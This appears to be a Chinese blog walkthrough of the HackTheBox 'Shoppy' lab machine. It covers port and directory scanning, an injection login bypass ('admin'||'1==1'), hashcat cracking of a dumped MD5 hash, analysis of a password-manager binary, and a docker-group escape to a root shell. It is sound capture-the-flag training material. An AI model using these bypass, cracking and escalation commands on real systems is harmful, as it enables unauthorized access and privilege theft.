• HackTheBox Shoppy 枚举获得账户密码 docker越权提权


    开始

    在这里插入图片描述

    网址:

    https://app.hackthebox.com/machines/Shoppy
    
    • 1

    信息搜集

    使用nmap扫描ip

    nmap -sC -sV -p- 10.10.11.180
    
    • 1

    在这里插入图片描述

    根据扫描结果,发现了一个域名,我们需要本地dns解析这个域名

    echo "10.10.11.180 shoppy.htb" >> /etc/hosts
    
    • 1

    在这里插入图片描述

    网站信息收集

    我们需要安装一个字典

    apt install seclists
    
    • 1

    然后枚举网站的目录

    ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://shoppy.htb/FUZZ
    
    • 1

    在这里插入图片描述

    发现了后台什么的,我们去浏览器页面看看

    在这里插入图片描述

    我尝试了一下万能密码,没想到成功了

    admin'||'1==1
    
    • 1

    在这里插入图片描述

    登录后台后,右上角有一个搜索用户的图标,我们继续输入万能密码试试

    在这里插入图片描述

    按下回车后有一个下载的图标

    在这里插入图片描述

    在这里插入图片描述

    这里找到了两个账户密码的hash值,然后我用hashcat爆破,发现admin爆不出来,而josh用户的可以

    echo "6ebcea65320589ca4f2f1ce039975995" > hash
    hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
    
    • 1
    • 2

    在这里插入图片描述

    我之前爆破过,这里就直接出现密码了,我用这个用户名和密码登录ssh,发现不对,可能还有哪里的信息搜集没做完,这里的用户名和密码可能是另一个网站的,我们可以枚举一下网站的子域名

    gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u shoppy.htb
    
    • 1

    在这里插入图片描述

    这里找到一个子域名,我们将他也解析一下

    echo "10.10.11.180 mattermost.shoppy.htb" >> /etc/hosts
    
    • 1

    在这里插入图片描述

    然后去浏览器里看看

    在这里插入图片描述

    发现了一个登录的页面,我们输入之前爆破的用户名和密码试试

    在这里插入图片描述

    在这里插入图片描述

    获取用户权限

    成功登录,在这里可以发现ssh的账号和密码,我们ssh登录试试

    ssh jaeger@10.10.11.180
    
    • 1

    在这里插入图片描述

    获取root权限

    文件静态分析

    sudo -l
    
    • 1

    在这里插入图片描述

    我检查了一下当前用户可以使用sudo命令执行什么,发现了一个奇怪的文件,我们将这个文件下载到kali里
    注意,这里需要移动到文件的目录里

    python3 -m http.server 1234
    
    • 1

    在这里插入图片描述

    然后用kali下载这个文件

    wget http://10.10.11.180:1234/password-manager
    
    • 1

    在这里插入图片描述

    获取文件信息

    file password-manager
    
    • 1

    在这里插入图片描述

    这是一个64位的可执行文件,然后用radare2静态分析这个程序

    r2 password-manager
    
    • 1

    然后输入指令,定位到主函数地址

    aaa  //自动分析并命名函数
    afl  //查看程序内的函数
    
    • 1
    • 2

    在这里插入图片描述

    这里找到了main函数,然后去到main函数的地址并查看汇编代码

    s main  //定位到main函数地址
    pdf  //查看当前函数的汇编代码
    
    • 1
    • 2

    在这里插入图片描述

    这是一个c++写的程序,运行程序的之后会输出Welcome to Josh password manager!字符串

    在这里插入图片描述

    然后输出Please enter your master password:字符串,并接受我们的输入

    在这里插入图片描述

    在下面,程序会和我们输入的字符和Sample字符一个一个的做对比

    在这里插入图片描述

    我们输入的字符串是Sample后,会输出Access granted! Here is creds !字符串,表示我们输入正确,然后会执行一个系统命令,查看/home/deploy/creds.txt文件内容

    用ida查看文件,也和我们分析的一样

    在这里插入图片描述

    回到靶机,运行程序,输入Sample

    sudo -u deploy ./password-manager
    
    • 1

    在这里插入图片描述

    docker越权提权

    我们获得了deploy用户的账号和密码,然后切换账号

    su deploy
    
    • 1

    在这里插入图片描述

    在输入id的时候,发现了这个用户在docker组里

    在这里插入图片描述

    去到这个网站,ctrl+f搜索docker

    https://gtfobins.github.io/
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    输入此命令,即可获得root shell

    docker run -v /:/mnt --rm -it alpine chroot /mnt sh
    
    • 1

    **加粗样式**

    在这里插入图片描述

  • 相关阅读:
    如何实现Tcp的可靠传输
    @Component可以和@Bean 用在同一个类上吗?
    【VPX611】基于6U VPX总线架构的SATA3.0高性能数据存储板(3.2GByte/s存储带宽)
    python实现UI自动化配置谷歌浏览器驱动
    C#基础--函数编程
    如何考取 AWS 技术认证
    Spring MVC 获取三个域(request请求域,session 会话域,application 应用域)对象的方式
    vue 封装element公共组件 +后端联调
    个人主页汇总 | 私信没空看,建议b站
    【零基础入门SpringMVC】第四期——RESTFUL专题
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/127527914